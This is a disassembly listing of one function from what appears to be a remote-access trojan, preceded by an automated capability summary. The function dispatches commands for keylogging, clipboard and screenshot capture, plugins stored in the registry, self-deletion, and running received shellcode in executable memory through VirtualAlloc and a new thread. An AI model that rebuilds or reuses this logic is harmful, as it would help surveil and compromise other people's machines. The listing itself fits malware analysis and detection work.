Function at 0x1000f545
Capabilities:
Allocate or change rwx memory
Create thread
Delete registry key
Execute shellcode via indirect call
Get common file path
Set registry value
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push 0x230
mov eax, 0x10038afd
call fcn.100206de
mov edi, dword [ebp + 8]
movzx eax, byte [edi]
mov esi, dword [ebp + 0xc]
mov ebx, ecx
mov ecx, 0x8a
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x21c], esi
cmp eax, ecx
jg 0x10010309
je 0x100101cc
sub eax, 0x78
cmp eax, 0x11
ja case.0x1000f58a.121
jmp dword [eax*4 + 0x10010681]
cmp esi, 1
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jne 0x1000f5a4
push 1
lea eax, [ebx + 0xc]
push eax
call esi
cmp dword [ebp - 0x21c], 2
jne 0x1000f5ba
push 1
add ebx, 0xc
push ebx
call esi
jmp 0x10010678
cmp dword [ebp - 0x21c], 0x50
jne 0x10010678
push 1
lea eax, [ebx + 0xc]
push eax
call esi
mov esi, ebx
call fcn.100123d3
push 0
push ebx
call fcn.10012457
mov al, byte [edi + 1]
mov dword [ebp - 0x228], 0xfa
mov byte [ebp - 0x228], al
cmp dword [ebp - 0x228], 0x66
jne 0x10010678
push 0x4e
mov eax, edi
add eax, 2
push eax
push str.HWID
push 3
push str.A686911000006E71
push SysReAllocString
call fcn.10009fcd
mov eax, dword [0x10045344]
add esp, 0x18
mov ecx, 0x10045344
mov word [ebp - 0x220], 0x8582
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x224], eax
and dword [ebp - 4], 0
lea eax, [ebp - 0x224]
push eax
mov edi, ebx
call fcn.100129e9
push 0x1003e450
xor ecx, ecx
lea esi, [ebp - 0x224]
call fcn.1000cd71
xor ecx, ecx
cmp eax, 0xffffffff
sete cl
inc ecx
mov eax, ecx
je 0x1000f67f
mov ecx, dword [ebx + 4]
mov edx, dword [ecx]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x224]
add eax, 0xfffffff0
call fcn.1000160d
jmp 0x10010678
cmp esi, 2
jne 0x1000f6a6
mov esi, ebx
call fcn.100123d3
push 0
push ebx
call fcn.10012457
mov esi, dword [ebp - 0x21c]
cmp esi, 2
jbe 0x10010678
inc edi
push edi
lea eax, [ebp - 0x224]
push eax
call fcn.1000cba8
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x224]
cmp dword [eax - 0xc], 0xa
jle 0x1000f67f
dec esi
push esi
push edi
push 0x1003d60c
push 3
push str.A686911000006E71
push SysReAllocString
call fcn.10009fcd
lea eax, [ebp - 0x224]
push eax
call fcn.10008ec9
add esp, 0x1c
test al, al
je 0x1000f67f
push 0x1003e45c
mov esi, ebx
call fcn.10011f5f
jmp 0x1000f67f
mov eax, dword [edi + 1]
push eax
lea ecx, [edi + 5]
push ebx
call fcn.1001255a
jmp 0x10010678
lea esi, [edi + 1]
push esi
lea eax, [ebp - 0x224]
push eax
call fcn.1000cba8
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x224]
mov eax, dword [eax - 0xc]
cmp eax, 1
jle 0x1000f7ca
mov eax, dword [ebp - 0x21c]
dec eax
push eax
push esi
push str.picshotdata
push 3
push str.A686911000006E71
push SysReAllocString
call fcn.10009fcd
mov eax, dword [ebp - 0x224]
add esp, 0x14
xor edi, edi
add eax, 0xfffffff0
mov dword [ebx + 0x58], edi
mov dword [ebp - 0x234], esp
mov esi, esp
call fcn.1000d694
add eax, 0x10
push ebx
mov dword [esi], eax
call fcn.10012bfa
lea eax, [ebp - 0x228]
push eax
push edi
push ebx
push 0x10010c93
push edi
push edi
mov dword [ebx + 0x58], 1
mov dword [ebp - 0x228], edi
call fcn.1001dafd
add esp, 0x18
mov dword [ebx + 0x1c], eax
push 0x1003e46c
mov esi, ebx
call fcn.10011f5f
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x224]
add eax, 0xfffffff0
call fcn.1000160d
jmp case.0x1000f58a.121
inc edi
push edi
lea eax, [ebp - 0x224]
push eax
call fcn.1000cba8
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x224]
mov eax, dword [eax - 0xc]
cmp eax, 1
jle 0x1000f7ca
mov eax, dword [ebp - 0x21c]
dec eax
push eax
push edi
push str.clipboarddata
push 3
push str.A686911000006E71
push SysReAllocString
call fcn.10009fcd
mov eax, dword [ebp - 0x224]
add esp, 0x14
xor esi, esi
add eax, 0xfffffff0
mov dword [ebx + 0x78], esi
mov dword [ebp - 0x234], esp
mov edi, esp
call fcn.1000d694
add eax, 0x10
push ebx
mov dword [edi], eax
call fcn.10012cdf
lea eax, [ebp - 0x228]
push eax
push esi
push ebx
push 0x10011636
push esi
push esi
mov dword [ebx + 0x78], 1
mov dword [ebp - 0x228], esi
call fcn.1001dafd
add esp, 0x18
mov dword [ebx + 0x24], eax
push 0x1003e47c
jmp 0x1000f7c3
push 4
push 0x1003e48c
push str.KEYLOG
push 3
push str.A686911000006E71
push SysReAllocString
call fcn.10009fcd
add esp, 0x18
push 0x1003e490
jmp 0x10010662
mov eax, dword [0x10045344]
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x21c], eax
mov edi, str.A686911000006E71
push edi
push str._sRecording
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], 4
call fcn.10001796
mov eax, dword [ebp - 0x21c]
cmp dword [eax - 4], 1
pop ecx
pop ecx
jle 0x1000f8f8
push dword [eax - 0xc]
lea eax, [ebp - 0x21c]
push eax
call fcn.10001706
push dword [ebp - 0x21c]
call fcn.1000a025
mov esi, dword [ebx + 0x2c]
pop ecx
jmp 0x1000f947
mov eax, dword [esi]
mov eax, dword [eax]
mov ecx, str.OUU_6R
add eax, 8
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000f93b
test dx, dx
je 0x1000f937
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000f93b
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000f915
xor eax, eax
jmp 0x1000f940
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000f94e
add esi, 4
cmp esi, dword [ebx + 0x30]
jne 0x1000f909
jmp 0x1000f9bf
mov eax, dword [0x10045344]
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x22c], eax
mov byte [ebp - 4], 5
mov eax, dword [esi]
mov eax, dword [eax]
add eax, 0x70
push eax
push edi
push str._sPLUG0_s
lea eax, [ebp - 0x22c]
call fcn.10001796
mov edi, dword [ebp - 0x22c]
add esp, 0xc
cmp dword [edi - 4], 1
jle 0x1000f9a5
push dword [edi - 0xc]
lea eax, [ebp - 0x22c]
push eax
call fcn.10001706
mov edi, dword [ebp - 0x22c]
push edi
call fcn.1000a025
mov eax, dword [esi]
mov eax, dword [eax]
mov byte [eax + 0xd4], 0
pop ecx
lea eax, [edi - 0x10]
call fcn.1000160d
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
jmp 0x1000f7d4
push 0x30
pop eax
mov word [ebp - 0x228], ax
xor eax, eax
mov word [ebp - 0x226], ax
lea eax, [edi + 1]
mov edi, esi
lea ecx, [edi - 1]
push ecx
push eax
mov esi, str.A686911000006E71
push esi
mov dword [ebp - 0x238], eax
call fcn.1000ad6b
dec edi
push edi
push dword [ebp - 0x238]
lea eax, [ebp - 0x228]
push eax
push 3
push esi
push SysReAllocString
call fcn.10009fcd
add esp, 0x24
mov esi, ebx
test al, al
je 0x1000fa3a
push 0x1003e5ec
call fcn.10011f5f
xor eax, eax
push eax
push eax
push ebx
push 0x1000f21d
jmp 0x100103f2
push str.Hr_g
jmp 0x10010664
mov eax, dword [0x10045344]
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x220], eax
mov dword [ebp - 4], 8
cmp dword [ebp - 0x21c], 2
push str.A686911000006E71
lea eax, [ebp - 0x220]
jne 0x1000fae6
push 0x1003d91c
call fcn.10001796
movzx eax, byte [edi + 1]
sub eax, 0
mov esi, dword [ebp - 0x220]
pop ecx
pop ecx
je 0x1000fabc
dec eax
jne 0x1000fade
cmp dword [esi - 4], 1
jle 0x1000faae
push dword [esi - 0xc]
lea eax, [ebp - 0x220]
push eax
call fcn.10001706
mov esi, dword [ebp - 0x220]
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x1000fade
cmp dword [esi - 4], 1
jle 0x1000fad7
push dword [esi - 0xc]
lea eax, [ebp - 0x220]
push eax
call fcn.10001706
mov esi, dword [ebp - 0x220]
push esi
call fcn.10009db6
pop ecx
lea eax, [esi - 0x10]
jmp 0x1000f688
push str._sFILTERkeyword
call fcn.10001796
mov esi, dword [ebp - 0x220]
cmp dword [esi - 4], 1
pop ecx
pop ecx
jle 0x1000fb13
push dword [esi - 0xc]
lea eax, [ebp - 0x220]
push eax
call fcn.10001706
mov esi, dword [ebp - 0x220]
push esi
call fcn.1000a025
cmp dword [esi - 4], 1
pop ecx
jle 0x1000fb35
push dword [esi - 0xc]
lea eax, [ebp - 0x220]
push eax
call fcn.10001706
mov esi, dword [ebp - 0x220]
push esi
call fcn.10009db6
mov dword [esp], str.A686911000006E71
push str._sFILTER_netaddr
lea eax, [ebp - 0x220]
call fcn.10001796
mov esi, dword [ebp - 0x220]
cmp dword [esi - 4], 1
pop ecx
pop ecx
jle 0x1000fb75
push dword [esi - 0xc]
lea eax, [ebp - 0x220]
push eax
call fcn.10001706
mov esi, dword [ebp - 0x220]
push esi
call fcn.1000a025
cmp dword [esi - 4], 1
pop ecx
jle 0x1000fb97
push dword [esi - 0xc]
lea eax, [ebp - 0x220]
push eax
call fcn.10001706
mov esi, dword [ebp - 0x220]
push esi
call fcn.10009db6
cmp dword [ebp - 0x21c], 1
pop ecx
jbe 0x1000fcd5
mov eax, dword [ebp - 0x21c]
and dword [ebp - 0x230], 0
inc edi
dec eax
mov dword [ebp - 0x21c], eax
test eax, eax
je 0x1000fcd5
mov ecx, dword [ebp - 0x21c]
mov eax, edi
test ecx, ecx
je 0x1000fbe4
cmp word [eax], 0xa
je 0x1000fc80
add eax, 2
dec ecx
jne 0x1000fbd4
and dword [ebp - 0x22c], 0
cmp dword [ebp - 0x22c], 0
push edi
mov ecx, 0x10045344
je 0x1000fc8b
mov eax, dword [ebp - 0x22c]
sub eax, edi
sar eax, 1
inc eax
lea esi, [eax - 2]
lea edi, [ebp - 0x228]
mov dword [ebp - 0x238], eax
call fcn.1000d537
mov byte [ebp - 4], 0xa
push dword [ebp - 0x230]
mov esi, dword [ebp - 0x228]
push ecx
lea eax, [esi - 0x10]
mov dword [ebp - 0x234], esp
mov edi, esp
call fcn.1000d694
add eax, 0x10
mov dword [edi], eax
call fcn.1000aae3
mov eax, dword [ebp - 0x238]
sub dword [ebp - 0x21c], eax
mov edi, dword [ebp - 0x22c]
inc dword [ebp - 0x230]
pop ecx
pop ecx
lea eax, [esi - 0x10]
add edi, 2
mov byte [ebp - 4], 8
call fcn.1000160d
cmp dword [ebp - 0x21c], 0
ja 0x1000fbc8
jmp 0x1000fcd5
mov dword [ebp - 0x22c], eax
jmp 0x1000fbeb
mov esi, dword [ebp - 0x21c]
lea edi, [ebp - 0x228]
call fcn.1000d537
mov byte [ebp - 4], 9
push dword [ebp - 0x230]
mov esi, dword [ebp - 0x228]
push ecx
lea eax, [esi - 0x10]
mov dword [ebp - 0x234], esp
mov edi, esp
call fcn.1000d694
add eax, 0x10
mov dword [edi], eax
call fcn.1000aae3
pop ecx
pop ecx
lea eax, [esi - 0x10]
mov byte [ebp - 4], 8
call fcn.1000160d
push str.A686911000006E71
push str._sFILTERchange
lea eax, [ebp - 0x220]
call fcn.10001796
mov esi, dword [ebp - 0x220]
cmp dword [esi - 4], 1
pop ecx
pop ecx
jle 0x1000fd0d
push dword [esi - 0xc]
lea eax, [ebp - 0x220]
push eax
call fcn.10001706
mov esi, dword [ebp - 0x220]
push esi
call fcn.10009db6
or dword [ebp - 4], 0xffffffff
pop ecx
lea eax, [esi - 0x10]
jmp 0x1000f7d7
cmp esi, 0xd8
jne 0x10010678
mov esi, dword [ebx + 0x2c]
jmp 0x1000fd6d
mov eax, dword [esi]
mov eax, dword [eax]
lea ecx, [edi + 8]
add eax, 8
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000fd61
test dx, dx
je 0x1000fd5d
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000fd61
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000fd3b
xor eax, eax
jmp 0x1000fd66
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000fd7f
add esi, 4
cmp esi, dword [ebx + 0x30]
jne 0x1000fd31
mov byte [edi], 0x84
push 0xd8
jmp 0x100102fb
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [ebp - 0x228], eax
lea ecx, [edi + 0x70]
add eax, 0x70
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000fdb5
test dx, dx
je 0x1000fdb1
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000fdb5
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000fd8f
xor eax, eax
jmp 0x1000fdba
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000fe91
mov eax, dword [0x10045344]
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0xb
mov eax, dword [esi]
mov eax, dword [eax]
add eax, 0x70
push eax
push str.A686911000006E71
push str._sPLUG0_s
lea eax, [ebp - 0x21c]
call fcn.10001796
mov eax, dword [ebp - 0x21c]
add esp, 0xc
cmp dword [eax - 4], 1
jle 0x1000fe1a
push dword [eax - 0xc]
lea eax, [ebp - 0x21c]
push eax
call fcn.10001706
push dword [ebp - 0x21c]
call fcn.1000a025
mov eax, dword [esi]
cmp dword [eax], 0
pop ecx
je 0x1000fe3a
push dword [eax]
call fcn.1001c63a
mov eax, dword [esi]
and dword [eax], 0
pop ecx
mov eax, dword [esi]
mov eax, dword [eax + 4]
test eax, eax
je 0x1000fe50
push eax
call fcn.1001d3d4
mov eax, dword [esi]
and dword [eax + 4], 0
pop ecx
mov eax, dword [esi]
test eax, eax
je 0x1000fe60
push eax
call fcn.1001c63a
and dword [esi], 0
pop ecx
mov eax, dword [ebx + 0x30]
lea ecx, [esi + 4]
sub eax, ecx
and eax, 0xfffffffc
push eax
push ecx
push esi
call fcn.1001c6b0
add dword [ebx + 0x30], 0xfffffffc
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
add esp, 0xc
add eax, 0xfffffff0
call fcn.1000160d
jmp 0x1000fd72
mov al, byte [edi + 0xd4]
mov ecx, dword [ebp - 0x228]
mov byte [ecx + 0xd4], al
xor eax, eax
push eax
push eax
push dword [esi]
push 0x1000efae
push eax
push eax
jmp 0x1001054a
push 0xd8
call fcn.1001cd81
pop ecx
mov dword [ebp - 0x21c], eax
test eax, eax
je 0x10010678
push 0xd8
mov edi, eax
push 0
push edi
call fcn.100207d0
mov esi, dword [ebp - 0x224]
mov eax, dword [ebp - 0x21c]
push 0x36
pop ecx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [eax + 0x6c]
push esi
call fcn.10019ca9
mov edi, eax
add esp, 0x10
test edi, edi
je 0x1000ff14
push esi
push 0
push edi
call fcn.100207d0
add esp, 0xc
mov dword [ebp - 0x230], edi
jmp 0x1000ff1b
and dword [ebp - 0x230], 0
mov esi, dword [ebp - 0x230]
test esi, esi
je 0x10010678
mov edi, dword [ebp - 0x21c]
push dword [edi + 0x6c]
mov eax, dword [ebp - 0x224]
add eax, 0xd8
push eax
push esi
call fcn.1001ff30
push 8
call fcn.1001cd81
add esp, 0x10
mov dword [ebp - 0x228], eax
test eax, eax
je 0x10010678
mov dword [eax], edi
mov dword [eax + 4], esi
lea esi, [ebx + 0x2c]
lea eax, [ebp - 0x228]
call fcn.10013334
mov esi, dword [edi + 0x6c]
add esi, 0xe0
push esi
mov dword [ebp - 0x238], esi
call fcn.10019ca9
mov edi, eax
pop ecx
test edi, edi
je 0x1000ff9f
push esi
push 0
push edi
call fcn.100207d0
add esp, 0xc
mov dword [ebp - 0x22c], edi
jmp 0x1000ffa6
and dword [ebp - 0x22c], 0
cmp dword [ebp - 0x22c], 0
je 0x10010678
mov eax, dword [ebp - 0x22c]
mov edx, dword [ebp - 0x21c]
push 0x36
pop ecx
mov esi, edx
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x228]
mov esi, dword [ecx]
mov dword [eax + 0xd8], esi
mov ecx, dword [ecx + 4]
mov dword [eax + 0xdc], ecx
push dword [edx + 0x6c]
lea esi, [eax + 0xe0]
push dword [ebp - 0x230]
push esi
call fcn.1001ff30
mov edi, dword [ebp - 0x21c]
push dword [edi + 0x6c]
push esi
call fcn.1000ad05
mov eax, dword [0x10045344]
add esp, 0x14
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x21c], eax
add edi, 0x70
push edi
push str.A686911000006E71
push str._sPLUG0_s
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], 0xc
call fcn.10001796
mov eax, dword [ebp - 0x21c]
add esp, 0xc
cmp dword [eax - 4], 1
jle 0x1001005a
push dword [eax - 0xc]
lea eax, [ebp - 0x21c]
push eax
call fcn.10001706
mov esi, dword [ebp - 0x21c]
push esi
call fcn.1000a025
cmp dword [esi - 4], 1
pop ecx
jle 0x1001007c
push dword [esi - 0xc]
lea eax, [ebp - 0x21c]
push eax
call fcn.10001706
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 0x21c]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x10010191
and dword [ebp - 0x224], eax
mov eax, dword [ebp - 0x238]
mov esi, 0x3e800
mov dword [ebp - 0x220], eax
cmp eax, esi
jl 0x100100bd
mov dword [ebp - 0x220], esi
and dword [ebp - 0x23c], 0
test eax, eax
jle 0x10010191
mov eax, dword [0x10045344]
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x230], eax
push dword [ebp - 0x23c]
lea eax, [ebp - 0x230]
push 0x1003d510
mov byte [ebp - 4], 0xd
call fcn.10001796
mov edi, dword [ebp - 0x230]
cmp dword [edi - 4], 1
pop ecx
pop ecx
jle 0x1001011f
push dword [edi - 0xc]
lea eax, [ebp - 0x230]
push eax
call fcn.10001706
mov edi, dword [ebp - 0x230]
push dword [ebp - 0x220]
mov eax, dword [ebp - 0x224]
add eax, dword [ebp - 0x22c]
push eax
push 3
push 0
push edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x224]
add ecx, dword [ebp - 0x220]
mov eax, dword [ebp - 0x238]
sub eax, ecx
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], eax
cmp eax, esi
jl 0x1001016d
mov dword [ebp - 0x220], esi
inc dword [ebp - 0x23c]
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0xc
call fcn.1000160d
mov eax, dword [ebp - 0x238]
cmp dword [ebp - 0x224], eax
jl 0x100100cc
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
add eax, 0xfffffff0
call fcn.1000160d
push dword [ebp - 0x22c]
call fcn.1001d3d4
xor eax, eax
push eax
push eax
push dword [ebp - 0x228]
push 0x1000efae
push eax
push eax
call fcn.1001dafd
add esp, 0x1c
jmp 0x100103fc
cmp esi, 1
jbe 0x100102d2
dec esi
push esi
call fcn.10019ca9
push esi
inc edi
push edi
push eax
mov dword [ebp - 0x228], eax
call fcn.1001ff30
push esi
push dword [ebp - 0x228]
call fcn.10018ade
mov edi, eax
add esp, 0x18
test edi, edi
je case.0x1000f58a.121
push str.BoxedAppSDK_Init
push edi
call fcn.10018d89
push str.BoxedAppSDK_SetBxSdkRawData
push edi
mov dword [ebx + 0xa8], eax
call fcn.10018d89
push str.BoxedAppSDK_CreateVirtualDirectoryW
push edi
mov dword [ebx + 0xac], eax
call fcn.10018d89
push str.BoxedAppSDK_DeleteFileFromVirtualFileSystemW
push edi
mov dword [ebx + 0xb4], eax
call fcn.10018d89
push str.BoxedAppSDK_EnableOption
push edi
mov dword [ebx + 0xb8], eax
call fcn.10018d89
push str.BoxedAppSDK_EmulateBoxedAppSDKDLL
push edi
mov dword [ebx + 0xbc], eax
call fcn.10018d89
push str.BoxedAppSDK_EnableDebugLog
push edi
mov dword [ebx + 0xc0], eax
call fcn.10018d89
add esp, 0x38
mov dword [ebx + 0xc4], eax
call dword [ebx + 0xa8]
mov dword [ebx + 0xc8], eax
test eax, eax
je case.0x1000f58a.121
push esi
push dword [ebp - 0x228]
call dword [ebx + 0xac]
call dword [ebx + 0xc0]
xor esi, esi
inc esi
push esi
push 2
call dword [ebx + 0xbc]
mov eax, dword [ebx + 0x14]
push 0
push eax
call dword [ebx + 0xb4]
test eax, eax
je case.0x1000f58a.121
mov dword [ebx + 0x10], esi
push 0x1003e5a8
jmp 0x10010662
mov eax, dword [ebx + 0x14]
push ecx
sub eax, 0x10
mov dword [ebp - 0x228], esp
mov esi, esp
call fcn.1000d694
add eax, 0x10
mov dword [esi], eax
call fcn.1000aab6
pop ecx
test al, al
jne case.0x1000f58a.121
push 1
mov ecx, dword [ebx + 4]
mov eax, dword [ecx]
push edi
call dword [eax + 8]
jmp case.0x1000f58a.121
mov ecx, 0xa4
cmp eax, ecx
jg 0x100104e2
je 0x1001044b
sub eax, 0x8b
je 0x10010408
sub eax, 0x15
je 0x100103db
dec eax
je 0x100103cd
dec eax
je 0x10010346
dec eax
jne case.0x1000f58a.121
jmp 0x10010651
mov esi, str.A686911000006E71
push esi
call fcn.1000a025
mov eax, dword [0x10045344]
pop ecx
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x218]
push eax
xor edi, edi
push edi
push edi
push 0x23
push edi
mov dword [ebp - 4], 6
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push esi
lea eax, [ebp - 0x218]
push eax
push 0x1003e164
lea eax, [ebp - 0x224]
call fcn.10001796
mov eax, dword [ebp - 0x224]
add esp, 0xc
cmp dword [eax - 4], 1
jle 0x100103bf
push dword [eax - 0xc]
lea eax, [ebp - 0x224]
push eax
call fcn.10001706
mov eax, dword [ebp - 0x224]
push eax
call fcn.1000a8d0
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
push edi
call fcn.1000a434
pop ecx
pop ecx
jmp case.0x1000f58a.121
xor eax, eax
lea ecx, [ebp - 0x234]
push ecx
push eax
inc edi
push edi
mov dword [ebp - 0x234], eax
push 0x1000a218
push eax
push eax
call fcn.1001dafd
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x1000f58a.121
push 0x40
push 0x3000
dec esi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x234], eax
test eax, eax
je 0x10010678
push esi
inc edi
push edi
push eax
call fcn.1001ff30
xor eax, eax
push eax
push eax
push dword [ebp - 0x234]
push 0x1000f1ed
push eax
push eax
call fcn.1001dafd
add esp, 0x24
jmp 0x100103fc
movzx eax, byte [edi + 1]
sub eax, 0
je 0x1001049c
dec eax
jne case.0x1000f58a.121
lea esi, [edi + 2]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push str.REMARK
push 3
push str.A686911000006E71
push SysReAllocString
call fcn.10009fcd
add esp, 0x18
mov esi, ebx
test al, al
je 0x10010492
push 0x1003e5d4
jmp 0x10010664
push str.9e_aY
jmp 0x10010664
lea esi, [edi + 2]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 0x1003d51c
push 3
push str.A686911000006E71
push SysReAllocString
call fcn.10009fcd
add esp, 0x18
mov esi, ebx
test al, al
je 0x100104d8
push 0x1003e5bc
call fcn.10011f5f
jmp 0x10010651
push 0x1003e5c8
jmp 0x10010664
sub eax, 0xa5
je 0x100105d4
dec eax
je 0x100105d0
dec eax
je 0x1001055e
sub eax, 0x21
jne case.0x1000f58a.121
mov eax, dword [edi + 4]
xor ecx, ecx
cmp eax, ecx
jne 0x10010519
cmp dword [edi + 8], ecx
jne 0x10010519
mov dword [ebx + 0x98], ecx
jmp 0x10010678
mov dword [ebx + 0x9c], eax
mov eax, dword [edi + 8]
mov dword [ebx + 0xa0], eax
cmp dword [ebx + 0x98], ecx
jne 0x10010678
lea eax, [ebp - 0x234]
push eax
push ecx
push ebx
push 0x10010c44
push ecx
mov dword [ebp - 0x234], ecx
push ecx
call fcn.1001dafd
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10010678
push str.A686911000006E71
lea eax, [ebp - 0x22c]
push eax
call fcn.1000cba8
push 0x1003d918
lea eax, [ebp - 0x22c]
push eax
mov dword [ebp - 4], 7
call fcn.1000cc63
mov eax, dword [ebp - 0x22c]
cmp dword [eax - 4], 1
jle 0x100105a8
push dword [eax - 0xc]
lea eax, [ebp - 0x22c]
push eax
call fcn.10001706
mov eax, dword [ebp - 0x22c]
dec esi
push esi
inc edi
push edi
push eax
push 3
push str.Console
push SysReAllocString
call fcn.10009fcd
add esp, 0x18
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x22c]
jmp 0x1000f7d4
push 1
jmp 0x10010653
mov esi, str.A686911000006E71
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [edi + 0x200]
push esi
push eax
call fcn.1001ff30
push 0x280
push edi
push str.info
push 3
push esi
push SysReAllocString
call fcn.10009fcd
add esp, 0x24
test al, al
je 0x1001065d
push 0x1003e618
mov esi, ebx
call fcn.10011f5f
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1004d40c]
mov esi, edi
mov ecx, 0xa0
mov edi, 0x10047d78
push str.192.168.1.115
rep movsd dword es:[edi], dword [esi]
call fcn.1000d237
mov eax, dword [0x10047ff0]
mov ecx, dword [0x1004d40c]
mov dword [ecx + 0x1c], eax
push 0
mov ecx, dword [ebx + 4]
mov eax, dword [ecx]
call dword [eax + 4]
jmp case.0x1000f58a.121
push 0x1003e624
mov esi, ebx
call fcn.10011f5f
mov esi, ebx
call fcn.100123d3
push 0
push ebx
call fcn.10012457
call fcn.10020728
ret 8